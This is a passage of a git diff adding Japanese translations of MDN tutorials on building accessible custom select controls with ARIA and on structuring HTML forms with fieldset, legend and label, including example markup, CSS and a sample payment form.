optionList.forEach(function (option, index) { + option.addEventListener('click', function (event) { + updateValue(select, index); + }); + }); + + // フォーカスがあるコントロールでユーザーがキーボードを使用するのに応じて、値を更新します。 + select.addEventListener('keyup', function (event) { + var length = optionList.length, + index = getIndex(select); + + // ユーザーが下矢印キーを押すと、次の選択肢にジャンプします。 + if (event.keyCode === 40 && index < length - 1) { index++; } + + // ユーザーが上矢印キーを押すと、前の選択肢にジャンプします。 + if (event.keyCode === 38 && index > 0) { index--; } + + updateValue(select, index); + }); + }); +});</pre> + +<p>上記のコードで、<code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/HTMLElement/tabIndex" title="/ja/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code> プロパティを使用していることは注目に値します。このプロパティは、ネイティブコントロールにフォーカスが当たらないようにすることと、ユーザーがキーボードやマウスを使用するとカスタムコントロールがフォーカスを得るようにするために必要です。</p> + +<p>これで完了です! 結果は以下のとおりです:</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Live example</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_4")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_4" title="HTML/Forms/How_to_build_custom_form_widgets/Example_4">ソースコードを確認する</a></td> + </tr> + </tbody> +</table> + +<p>ちょっと待ってください、本当に終わったのでしょうか?</p> + +<h2 id="Make_it_accessible" name="Make_it_accessible">アクセシブルにする</h2> + +<p>フル機能のセレクトボックスとはかけ離れていますが動作するものはできましたし、よく動作しています。しかし、私たちが行ってきたことは DOM の操作にすぎません。これには実際のセマンティクスがなく、またセレクトボックスのように見えていてもブラウザーの視点からはそうではないため、支援技術はそれがセレクトボックスであるとは理解できません。つまり、このきれいなセレクトボックスはアクセシブルではありません!</p> + +<p>幸いなことに解決策があり、それは <a href="/ja/docs/Accessibility/ARIA" title="Accessibility/ARIA">ARIA</a> と呼ばれます。ARIA は "Accessible Rich Internet Application" を表し、その <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">W3C 仕様</a> は私たちがここで行っていることに特化して設計されています: ウェブアプリケーションやカスタムコントロールをアクセシブルにします。これは基本的には、私たちが作り出した要素がネイティブコントロールとして通るかのように、役割や状態や特性をより説明できるようにするために HTML を拡張する属性のセットです。これらの属性の使用はとても簡単ですので、行ってみましょう。</p> + +<h3 id="The_role_attribute" name="The_role_attribute"><code>role</code> 属性</h3> + +<p><a href="/ja/docs/Accessibility/ARIA" title="Accessibility/ARIA">ARIA</a> で使用される主要な属性が、<a href="/ja/docs/Accessibility/ARIA/ARIA_Techniques" title="Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> 属性です。<a href="/ja/docs/Accessibility/ARIA/ARIA_Techniques" title="Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> 属性は、要素を何に使用するかを定義する値を受け入れます。それぞれのロールは、自身の要件や動作を定義します。本記事の例では、ロール <code><a href="/ja/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> を使用します。これは "composite role" であり、このロールの要素は子要素を持ち、またそれぞれの子要素も特定のロールを持ちます (この例では、ロール <code>option</code> の子要素が少なくとも 1 つ)。</p> + +<p>また、ARIA は標準の HTML マークアップにデフォルトで適用されるロールを定義することも特筆に値します。例えば、{{HTMLElement("table")}} 要素はロール <code>grid</code> に、{{HTMLElement("ul")}} 要素はロール <code>list</code> にマッチします。{{HTMLElement("ul")}} 要素を使用しているため、私たちのコントロールのロール <code>listbox</code> が、{{HTMLElement("ul")}} 要素のロール <code>list</code> を置き換えるようにしなければなりません。そのために、ロール <code>presentation</code> を使用します。このロールは要素に特別な意味はないことを示せるようにするためのものであり、単に情報を与えるために使用されます。これを {{HTMLElement("ul")}} 要素に適用します。</p> + +<p>ロール <code><a href="/ja/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code> をサポートするため、HTML を以下のように更新することが必要です:</p> + +<pre class="brush: html notranslate"><!-- 最初の要素に role="listbox" 属性を追加します --> +<div class="select" role="listbox"> + <span class="value">Cherry</span> + <!-- ul 要素に role="presentation" を追加します --> + <ul class="optList" role="presentation"> + <!-- すべての li 要素に role="option" 属性を追加します --> + <li role="option" class="option">Cherry</li> + <li role="option" class="option">Lemon</li> + <li role="option" class="option">Banana</li> + <li role="option" class="option">Strawberry</li> + <li role="option" class="option">Apple</li> + </ul> +</div></pre> + +<div class="note"> +<p><strong>注記:</strong> <code>role</code> 属性と <code>class</code> 属性の両方を含める方法は、<a href="/ja/docs/CSS/Attribute_selectors" title="CSS/Attribute_selectors">CSS 属性セレクタ</a>に対応しない古いブラウザーをサポートしたい場合にのみ必要です。</p> +</div> + +<h3 id="The_aria-selected_attribute" name="The_aria-selected_attribute"><code>aria-selected</code> 属性</h3> + +<p><a href="/ja/docs/Accessibility/ARIA/ARIA_Techniques" title="Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> を使用するだけでは不十分です。<a href="/ja/docs/Accessibility/ARIA" title="Accessibility/ARIA">ARIA</a> は、状態や特性を表す多くの属性も提供します。これらをより多くまた適切に使用すると、コントロールが支援技術にもっと良く理解されるようになります。ここでは、使用する属性を 1 つに絞ります: <code>aria-selected</code> です。</p> + +<p><code>aria-selected</code> 属性は、どの選択肢が現在選択されているかを示すために使用します。これにより、支援技術はユーザーに現在何が選択されているかを伝えることができます。ここではユーザーが選択肢を選択するたびに、選択された選択肢を示すためにこの属性を JavaScript で動的に使用します。このために、<code>updateValue()</code> 関数の変更が必要です:</p> + +<pre class="brush: js notranslate">function updateValue(select, index) { + var nativeWidget = select.previousElementSibling; + var value = select.querySelector('.value'); + var optionList = select.querySelectorAll('.option'); + + // すべての選択肢が選択されていないようにします。 + optionList.forEach(function (other) { + other.setAttribute('aria-selected', 'false'); + }); + + // 指定された選択肢が選択されているようにします。 + optionList[index].setAttribute('aria-selected', 'true'); + + nativeWidget.selectedIndex = index; + value.innerHTML = optionList[index].innerHTML; + highlightOption(select, optionList[index]); +};</pre> + +<p>スクリーンリーダーにオフスクリーンselectに焦点をあてて他のスタイルを無視するようにした法が簡単に見えますが、これはアクセシブルな解決策ではありません。スクリーンリーダーは盲目の人だけのものではありません。低視力や、完全な視力の人もこれを使います。このため、スクリーンリーダーをオフスクリーン要素だけに焦点をあてるようにはできません。</p> + +<p>以下がこれらの変更を施した最終結果です (<a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> や <a href="http://www.apple.com/accessibility/voiceover/" rel="external" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a> などの支援技術でコントロールを使用してみても、よい感触を得られるでしょう):</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">Live example</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Change_states",120,130, "", "HTML/Forms/How_to_build_custom_form_controls/Example_5")}}</td> + </tr> + <tr> + <td style="text-align: center;"><a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_5" title="HTML/Forms/How_to_build_custom_form_widgets/Example_2">ソースコードを確認する</a></td> + </tr> + </tbody> +</table> + +<p>もっと先に進むには、この例でのコードは汎用性や再利用性に改善が必要です。これは課題として挑戦できます。この2つのヒントを挙げると:すべての関数で最初の引数は同じで、つまりこれらの関数は同じコンテキストが必要です。そのコンテキストを共有するオブジェクトを作るのが賢明です。</p> + +<h2 id="An_alternative_approach_Using_radio_buttons" name="An_alternative_approach_Using_radio_buttons">他の方法: ラジオボタンを使う</h2> + +<p>上の例では、非動的なHTML、CSS、JavaScript を使って {{htmlelement('select')}} 要素を再発明しました。このselectは限られた選択肢から1つが選択され、それは {{htmlelement('input/radio', 'radio')}} ボタンのグループと同様な機能です。</p> + +<p>このため、代わりにラジオボタンを使って再発明できます。このオプションを見てみましょう。</p> + +<p>We can start with</p> + +<p>完全に意味のある、アクセシブルで、順序のない、関連する{{htmlelement('label')}}つきの{{htmlelement('input/radio','radio')}} ボタンのリストから始めます、グループ全体を適切な意味のある{{htmlelement('fieldset')}} と{{htmlelement('legend')}} のペアにラベルづけします。.</p> + +<pre class="brush: html notranslate"> <fieldset> + <legend>Pick a fruit</legend> + <ul class="styledSelect"> + <li><input type="radio" name="fruit" value="Cherry" id="fruitCherry" checked><label for="fruitCherry">Cherry</label></li> + <li><input type="radio" name="fruit" value="Lemon" id="fruitLemon"><label for="fruitLemon">Lemon</label></li> + <li><input type="radio" name="fruit" value="Banana" id="fruitBanana"><label for="fruitBanana"">Banana</label></li> + <li><input type="radio" name="fruit" value="Strawberry" id="fruitStrawberry"><label for="fruitStrawberry">Strawberry</label></li> + <li><input type="radio" name="fruit" value="Apple" id="fruitApple"><label for="fruitApple">Apple</label></li> + </ul> + </fieldset></pre> + +<p>(legend/fieldsetではなく)ラジオボタンリストに少しスタイルづけをして、前の例と同じ見た目にし、完了したことがわかるようにします:</p> + +<pre class="brush: css notranslate">.styledSelect { + display: inline-block; + padding: 0; +} +.styledSelect li { + list-style-type: none; + padding: 0; + display: flex; +} +.styledSelect [type=radio] { + position: absolute; + left: -100vw; + top: -100vh; +} +.styledSelect label { + margin: 0; + line-height: 2; + padding: 0 0 0 4px; +} +.styledSelect:not(:focus-within) input:not(:checked) + label { + height: 0; + outline: none; + overflow: hidden; +} +.styledSelect:not(:focus-within) input:checked + label { + border: .2em solid #000; + border-radius: .4em; + box-shadow: 0 .1em .2em rgba(0,0,0,.45); +} +.styledSelect:not(:focus-within) input:checked + label::after { + content : "▼"; + background: black; + float: right; + color: white; + padding: 0 4px; + margin: 0 -4px 0 4px; +} +.styledSelect:focus-within { + border: .2em solid #000; + border-radius: .4em; + box-shadow: 0 .1em .2em rgba(0,0,0,.45); +} +.styledSelect:focus-within input:checked + label { + background-color: #333; + color: #fff; + width: 100%; +}</pre> + +<p>JavaScriptなしで少しの CSSにて、ラジオボタンのリストをスタイルづけしてチェック済み項目のみを表示することができます。フォーカスが<code><fieldset></code>内の <code><ul></code> に来ると、リストは開いて、上下左右の矢印が前後の項目を選択するのに使えます。次で試してください:</p> + +<p>{{EmbedLiveSample("An_alternative_approach_Using_radio_buttons",200,240)}}</p> + +<p>これはある程度、JavaScriptなしで動作します。JavaScript が失敗しても動作する、われわれのカスタムコントロールど同じものを作ってきました。よい解決策でしょう？これはキーボードでは動作しますが、マウスクリックではそうなりません。ネイティブな意味づけのない要素を作るフレームワークに依存する代わりに、ウェブ標準をカスタムコントロールの基礎として使った方が意味があります。しかし、われわれのコントロールは <code><select></code> が自ずと持つ機能と同じものを備えていません。</p> + +<p>いい面として、このコントロールはスクリーンリーダーにとって完全にアクセシブルでキーボードで完全に操作できます。しかし、このコントロールは {{htmlelement('select')}} 要素の置き換えではありません。異なる機能や足りない機能があります。例えば、4つの矢印は選択肢を操作できますが、最後のボタンで下を押すと最初のボタンに移動します。<code><select></code> のように上端、下端で止まりません。</p> + +<p>この足りない機能の追加は、読者の課題としておきます。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>独自のフォームコントロールの作成方法を見てきましたが、ご覧いただいたようにこれは容易なことではありません。独自のカスタムコントロールを作る前に、HTMLに要求を十分に満たす代替要素がないかを検討してください。本当にカスタムコントロールを作成する必要がある場合、サードパーティのライブラリに頼るほうが簡単かつよいことも少なくありません。独自作成する場合、既存の要素を編集するか、準備されたコントロールを実装するフレームワークを使うようにして、実用的でアクセシブルなフォームコントロールの作成は見た目より複雑であることを忘れないでください。</p> + +<p>自分でコーディングする前に検討するとよいライブラリをいくつか紹介します:</p> + +<ul> + <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a></li> + <li><a href="https://www.webaxe.org/accessible-custom-select-dropdowns">AXE accessible custom select dropdowns</a></li> + <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external" title="https://github.com/marghoobsuleman/ms-Dropdown">msDropDown</a></li> + <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Nice Forms</a></li> +</ul> + +<p>ラジオボタン、独自JavaScript 、またはサードパーティライブラリで代替コントロールを作る場合、アクセシブルかつ機能への耐性を高めましょう。すなわち Web 標準の実装状況がまちまちである、多様なブラウザーで良好に動作できるようにすることが必要です。楽しんでください!</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<h3 id="学習コース">学習コース</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めての HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームコントロール</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームコントロールの作成方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">古いブラウザーでの HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Property_compatibility_table_for_form_widgets">フォームコントロール向けプロパティ実装状況一覧</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/ja/learn/forms/how_to_structure_an_html_form/example/index.html b/files/ja/learn/forms/how_to_structure_an_html_form/example/index.html new file mode 100644 index 0000000000..2c97485087 --- /dev/null +++ b/files/ja/learn/forms/how_to_structure_an_html_form/example/index.html @@ -0,0 +1,164 @@ +--- +title: '例: お支払いフォーム' +slug: Learn/Forms/How_to_structure_an_HTML_form/Example +translation_of: Learn/Forms/How_to_structure_a_web_form/Example +--- +<p>これは記事 <a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a>の基本的なお支払いフォームの例です。</p> + +<h2 id="A_payment_form" name="A_payment_form">お支払いフォーム</h2> + +<h3 id="HTML_コンテンツ">HTML コンテンツ</h3> + +<pre class="brush: html notranslate"><form> + <h1>Payment form</h1> + <p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p> + <section> + <h2>Contact information</h2> + <fieldset> + <legend>Title</legend> + <ul> + <li> + <label for="title_1"> + <input type="radio" id="title_1" name="title" value="M." > + Mister + </label> + </li> + <li> + <label for="title_2"> + <input type="radio" id="title_2" name="title" value="Ms."> + Miss + </label> + </li> + </ul> + </fieldset> + <p> + <label for="name"> + <span>Name: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="text" id="name" name="username"> + </p> + <p> + <label for="mail"> + <span>E-mail: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="email" id="mail" name="usermail"> + </p> + <p> + <label for="password"> + <span>Password: </span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="password" id="pwd" name="password"> + </p> + </section> + <section> + <h2>Payment information</h2> + <p> + <label for="card"> + <span>Card type:</span> + </label> + <select id="card" name="usercard"> + <option value="visa">Visa</option> + <option value="mc">Mastercard</option> + <option value="amex">American Express</option> + </select> + </p> + <p> + <label for="number"> + <span>Card number:</span> + <strong><abbr title="required">*</abbr></strong> + </label> + <input type="number" id="number" name="cardnumber"> + </p> + <p> + <label for="date"> + <span>Expiration date:</span> + <strong><abbr title="required">*</abbr></strong> + <em>formatted as mm/yy</em> + </label> + <input type="date" id="date" name="expiration"> + </p> + </section> + <section> + <p> <button type="submit">Validate the payment</button> </p> + </section> + </form></pre> + +<h3 id="CSS_コンテンツ">CSS コンテンツ</h3> + +<pre class="brush: css notranslate"> h1 { + margin-top: 0; + } + + ul { + margin: 0; + padding: 0; + list-style: none; + } + + form { + margin: 0 auto; + width: 400px; + padding: 1em; + border: 1px solid #CCC; + border-radius: 1em; + } + + div+div { + margin-top: 1em; + } + + label span { + display: inline-block; + width: 120px; + text-align: right; + } + + input, textarea { + font: 1em sans-serif; + width: 250px; + box-sizing: border-box; + border: 1px solid #999; + } + + input[type=checkbox], input[type=radio] { + width: auto; + border: none; + } + + input:focus, textarea:focus { + border-color: #000; + } + + textarea { + vertical-align: top; + height: 5em; + resize: vertical; + } + + fieldset { + width: 250px; + box-sizing: border-box; + margin-left: 136px; + border: 1px solid #999; + } + + button { + margin: 20px 0 0 124px; + } + + label { + position: relative; + } + + label em { + position: absolute; + right: 5px; + top: 20px; + }</pre> + +<h3 id="結果">結果</h3> + +<p>{{ EmbedLiveSample('A_payment_form', '100%', 620) }}</p> diff --git a/files/ja/learn/forms/how_to_structure_an_html_form/index.html b/files/ja/learn/forms/how_to_structure_an_html_form/index.html new file mode 100644 index 0000000000..ca3865643f --- /dev/null +++ b/files/ja/learn/forms/how_to_structure_an_html_form/index.html @@ -0,0 +1,329 @@ +--- +title: フォームの構築方法 +slug: Learn/Forms/How_to_structure_an_HTML_form +tags: + - CodingScripting + - HTML + - Web + - ガイド + - フォーム + - 例 + - 初心者 + - 学習 + - 構造 +translation_of: Learn/Forms/How_to_structure_a_web_form +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Forms/Your_first_form", "Learn/Forms/Basic_native_form_controls", "Learn/Forms")}}</div> + +<p class="summary">基本から外れて、ここでは色々なフォームのパーツを構造化し、意味をつけるのに使われる要素を詳しく見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシーと、<a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の基本的な理解</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>HTML フォームを構造化して意味を与えて使いやすくアクセシブルにする方法を理解すること。</td> + </tr> + </tbody> +</table> + +<p>フォームは柔軟性があるため、<a href="/ja/docs/Learn/HTML" title="HTML">HTML</a> で最も複雑な構造の 1 つとなっています。専用のフォーム要素と属性を使用して、あらゆる種類の基本フォームを作成できます。HTML フォームを構築するときに正しい構造を使用すると、フォームが使用可能で<a href="/ja/docs/Learn/Accessibility">アクセスしやすい</a>ことを確実にするのに役立ちます。</p> + +<h2 id="The_<form>_element" name="The_<form>_element"><form> 要素</h2> + +<p>{{HTMLElement("form")}} 要素はフォームを正式に定義するとともに、自身の属性でフォームの動作を定義します。HTML フォームを作成しようとするたびに、この要素から始めて、すべてのコンテンツをその中に入れなければなりません。多くの支援技術やブラウザープラグインは {{HTMLElement("form")}} 要素を検出でき、またフォームを使いやすくするための特別なフックを実装できます。</p> + +<p>前の記事ですでにこれを見ています。</p> + +<div class="warning"><strong>警告:</strong> フォームの中にフォームを入れ子にすることは厳格に禁じられています。これは予期せぬ動作を発生するおそれがあるので、悪い方針です。</div> + +<p>{{HTMLElement("form")}} 要素の外部でもフォームウィジェットを使用できますが、そのフォームウィジェットは <a href="/ja/docs/Web/HTML/Attributes/form"><code>form</code></a> 属性を用いて関連付けなければ、どのフォームに対しても何も行わないことに注意してください。これは、実際には {{ HTMLElement("form") }} に包含されていない要素であっても明示的にフォームへ紐付けることを可能にします。</p> + +<p> 次に、フォームに含まれる構造的な要素を見ていきましょう。</p> + +<h2 id="The_<fieldset>_and_<legend>_elements" name="The_<fieldset>_and_<legend>_elements"><fieldset> および <legend> 要素</h2> + +<p>{{HTMLElement("fieldset")}} 要素は、スタイルや意味付けのために、同じ目的を持つウィジェットのグループの作成に便利です。{{HTMLElement("fieldset")}} 要素は、<code><fieldset></code> タグのすぐ下に {{HTMLElement("legend")}} 要素を入れてラベルを付与できます。{{HTMLElement("legend")}} 要素は、{{HTMLElement("fieldset")}} 要素の目的を正式に説明します。</p> + +<p>多くの支援技術は {{HTMLElement("legend")}} 要素を、対応する {{HTMLElement("fieldset")}} 要素内にある各ウィジェットのラベルの一部であるかのように扱うでしょう。例えば <a href="http://www.freedomscientific.com/products/fs/jaws-product-page.asp" rel="external" title="http://www.freedomscientific.com/products/fs/jaws-product-page.asp">Jaws</a> や <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> といったスクリーンリーダーは、各ウィジェットのラベルを読み上げる前に legend の内容を読み上げます。</p> + +<p>以下に小さなサンプルを挙げます:</p> + +<pre class="brush:html; notranslate"><form> + <fieldset> + <legend>Fruit juice size</legend> + <p> + <input type="radio" name="size" id="size_1" value="small"> + <label for="size_1">Small</label> + </p> + <p> + <input type="radio" name="size" id="size_2" value="medium"> + <label for="size_2">Medium</label> + </p> + <p> + <input type="radio" name="size" id="size_3" value="large"> + <label for="size_3">Large</label> + </p> + </fieldset> +</form></pre> + +<div class="note"> +<p><strong>注</strong>: この例は <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html">fieldset-legend.html</a> で見ることができます(<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html">ライブ版も見てください</a>)。</p> +</div> + +<p>この例では、スクリーンリーダーは最初のウィジェットを "Fruit juice size small"、2 番目を "Fruit juice size medium"、3 番目を "Fruit juice size large" と読み上げるでしょう。</p> + +<p>このサンプルでのユースケースは、もっとも重要なことのひとつです。ラジオボタンのセットを置くたびに、それらを {{HTMLElement("fieldset")}} 要素内へ入れ子にするようにしましょう。ユースケースは他にもあり、通常は {{HTMLElement("fieldset")}} 要素でフォームを明確に区分するために使用できます。理想的には長いフォームは複数ページに分けるべきですが、フォームが長くなっても１つのページに収めないといけない場合、別々の関連セクションを別々の fieldset に入れることは使いやすさを改善します。</p> + +<p>支援技術への影響力により、{{HTMLElement("fieldset")}} 要素はアクセシブルなフォームを作成するために重要な要素のひとつです。しかし、それを誤用しないようにするのはあなたの責務です。できれば、フォームを作成するたびにスクリーンリーダーがどのように解釈するか聞いてみましょう。変に聞こえるのであれば、フォームの構造を改善するためのよいヒントになります。</p> + +<h2 id="The_<label>_element" name="The_<label>_element"><label> 要素</h2> + +<p>これまでの記事で見てきたように、{{HTMLElement("label")}} 要素は、HTML フォームウィジェットのラベルを定義する正式な方法です。これは、アクセシブルなフォームを作成したい場合にもっとも重要な要素です — 適切に実装された時は、スクリーンリーダーはフォーム要素のラベルと関連する指示を一緒に読み上げます。前の記事で見てきたこの例を見てみます:</p> + +<pre class="brush: html notranslate"><label for="name">Name:</label> <input type="text" id="name" name="user_name"></pre> + +<p><code><label></code> と<code><input></code> とがそれぞれ <code>for</code> と <code>id</code> 属性により正し関連付けられると (label の <code>for</code> 属性は対応するウィジェットの <code>id</code> 属性を参照します)、スクリーンリーダーは "Name, edit text"のように読み上げます。</p> + +<p>フォームコントロールとラベルを関連付けるもう 1 つの方法は、フォームコントロールを <code><label></code> の中でネストすることで、暗黙的に関連付けることです。</p> + +<pre class="brush: html notranslate"><label for="name"> + Name: <input type="text" id="name" name="user_name"> +</label></pre> + +<p>この場合でも <code>for</code> 属性を設定することがベストプラクティスと考えられています。これは、ラベルとウィジェットの暗黙的な関係を理解できない支援技術があるためです。</p> + +<p>ラベルがなかったり、フォームコントロールが明示的/暗黙にラベルに関連付けられていない場合、スクリーンリーダーは全く役立たない "Edit text blank" のような読み上げを行います。</p> + +<h3 id="Labels_are_clickable_too!" name="Labels_are_clickable_too!">ラベルもクリック可能です！</h3> + +<p>ラベルをセットアップするもう 1 つの利点は、ユーザーがラベルをクリックするとウィジェットをアクティブにすることが、あらゆるブラウザーで可能になります。これは例えば、テキスト入力で、入力と同様にラベルをクリックしてフォーカスさせることができますし、ラジオボタンやチェックボックスで特に有用です — このコントロールのヒットエリアはとても小さく、できるだけ大きくしておくのは便利です。</p> + +<p>例えば、次の例で "I like cherry" の テキストをクリックすると選択された <em>taste_cherry</em> チェックボックスの状態が切り替わります:</p> + +<pre class="brush:html; notranslate"><form> + <p> + <input type="checkbox" id="taste_1" name="taste_cherry" value="cherry"> + <label for="taste_1">I like cherry</label> + </p> + <p> + <input type="checkbox" id="taste_2" name="taste_banana" value="banana"> + <label for="taste_2">I like banana</label> + </p> +</form></pre> + +<div class="note"> +<p><strong>注</strong>: この例は <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/checkbox-label.html">checkbox-label.html</a> で見ることができます(<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/checkbox-label.html">ライブ版も見てください</a>)。</p> +</div> + +<h3 id="Multiple_labels" name="Multiple_labels">複数のラベル</h3> + +<p>厳密に言うと、1 つのウィジェット内に複数のラベルを入れることができますが、複数のラベルを持つウィジェットの扱いに問題がある支援技術があるかもしれません。複数のラベルがある場合、アクセシブルなフォームを作成するには1つの {{htmlelement("label")}} 要素内にウィジェットを入れ子にするとよいでしょう。</p> + +<p>以下のサンプルについて考えてみましょう:</p> + +<pre class="brush: html notranslate"><p>Required fields are followed by <abbr title="required">*</abbr>.</p> + +<!-- 2 つの例をご覧ください: --> +<div> + <label for="username">Name:</label> + <input id="username" type="text" name="username"> + <label for="username"><abbr title="required" aria-label="required">*</abbr></label> +</div> + +<!-- 前出の例よりは良いです: --> +<div> + <label for="username"> + <span>Name: </span> + <input id="username" type="text" name="username"> + <abbr title="required" aria-label="required">*</abbr> + </label> +</div> + +<!-- これが最も良いでしょう: --> +<div> + <label for="username">Name: <abbr title="required" aria-label="required">*</abbr></label> + <input id="username" type="text" name="username"> +</div></pre> + +<p>{{EmbedLiveSample("Multiple_labels", 120, 120)}}</p> + +<p>このサンプルでは、最初の段落で入力必須の要素の規則を定義しています。ユーザーが入力必須の要素を見つける前にスクリーンリーダーのような支援技術が注意事項を表示したり読み上げたりするためには、規則をはじめに置かなければなりません。これがユーザーにアスタリスクの意味を知らせても、それに依存することはできません。スクリーンリーダーはアスタリスクが出てくると "スター" と読み上げます。視力のあるユーザーがマウスを持ってくると、<code>title</code> 属性によって"必須"と表示されます。タイトルはスクリーンリーダーの設定により読み上げられるので、常にスクリーンリーダーに読み上げられる <code><a href="/ja/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">aria-label</a></code> 属性を入れておくのがより信頼性が高いでしょう。</p> + +<p>上記の違いをふまえると、以降を効率よく見ていけるでしょう:</p> + +<ul> + <li>最初の例では、label 要素すべての入力が読み上げられません — "edit text blank" だけです。その上に実際のラベルは別々に読まれます。複数の <code><label></code> 要素はスクリーンリーダーを混乱させます。</li> + <li>2 つ目の例では、少し明確になります "name star name edit text required" というようにラベルが入力と一緒に読み上げられます。しかしラベルはまだ別々に読み上げられます。少し混乱しやすいですが、これは <code><input></code> と関連したラベルがあるためまだ良いでしょう。</li> + <li>3 つ目の例が最も良いです — 実際のラベルがすべて一緒に読み上げられ、"name required edit text" のようにラベルと入力が一緒に読み上げられます。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: スクリーンリーダーによっては、少し異なる結果になる場合もあります。これは VoiceOver (と同様に動作する NVDA)でテストしています。あなたの体験を聞きたいです。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: この例は GitHub の <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html">required-labels.html</a> で見ることができます(<a href="https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html">ライブ版も見てください</a>)。2 や 3 のコメントを外したバージョンの例を実行しないでください — 複数の label と複数の同じ input ID があると、スクリーンリーダーは確実に混乱します!</p> +</div> + +<h2 id="Common_HTML_structures_used_with_forms" name="Common_HTML_structures_used_with_forms">フォームで使用される一般的な HTML 構造</h2> + +<p>ウェブフォーム特有の構造の前提として、フォームは単に HTML であると覚えておくとよいでしょう。つまり、ウェブフォームを組み立てるために HTML のすべての力を利用できるのです。</p> + +<p>サンプルでわかるように、ラベルとそのウィジェットを {{HTMLElement("ul")}} や {{HTMLElement("ol")}} リストの中の {{HTMLElement("li")}} 要素で包み込むのが一般的な慣習です。HTML リストにあるように、{{HTMLElement("p")}} 要素と {{HTMLElement("div")}} 要素も良く使われます。リストは複数のチェックボックスやラジオボタンを構造化するのに最もよく使われます。</p> + +<p>{{HTMLElement("fieldset")}} 要素に加えて、複雑なフォームの構築に HTML の見出し (例{{htmlelement("h1")}}, {{htmlelement("h2")}}) やセクション (例 {{htmlelement("section")}}) を使うことも一般的です。</p> + +<p>とりわけ、コーディングスタイルがどうあるのが心地よく、どれがアクセシブルで使いやすいフォームとなるのかを見つけるのはあなた次第です。別の機能セクションは別の {{htmlelement("section")}} 